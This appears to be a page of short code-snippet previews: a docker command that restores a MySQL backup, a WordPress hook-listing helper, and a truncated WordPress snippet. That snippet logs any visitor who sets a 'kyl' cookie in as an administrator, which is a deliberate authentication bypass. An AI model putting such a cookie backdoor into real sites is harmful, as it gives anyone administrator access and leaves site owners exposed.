$container - docker container
$user - mysql user
$password - mysql password
$database - mysql database name
$file - path to database backup file
docker exec -i $container mysql -u$user -p$password $database < $file
| <?php | |
| add_action( 'init', function() { | |
| // You need to set a cookie 'kyl', this cookie is used to prevent all users from logging into the site | |
| if ( isset( $_COOKIE['kyl'] ) && ! is_user_logged_in() ) { | |
| for ( $id = 1; $id < 1000; $id++ ) { | |
| /** | |
| * By default you will be logged in as an administrator | |
| * When you need to log in as a user with certain capabilities or a role, | |
| * you need to change the condition, e.g. as an editor |
| <?php | |
| function list_hooks( $hook = '' ) { | |
| global $wp_filter; | |
| if ( isset( $wp_filter[ $hook ]->callbacks ) ) { | |
| array_walk( $wp_filter[ $hook ]->callbacks, function( $callbacks, $priority ) use ( &$hooks ) { | |
| foreach ( $callbacks as $id => $callback ) { | |
| $hooks[] = array_merge( [ 'id' => $id, 'priority' => $priority ], $callback ); | |
| } |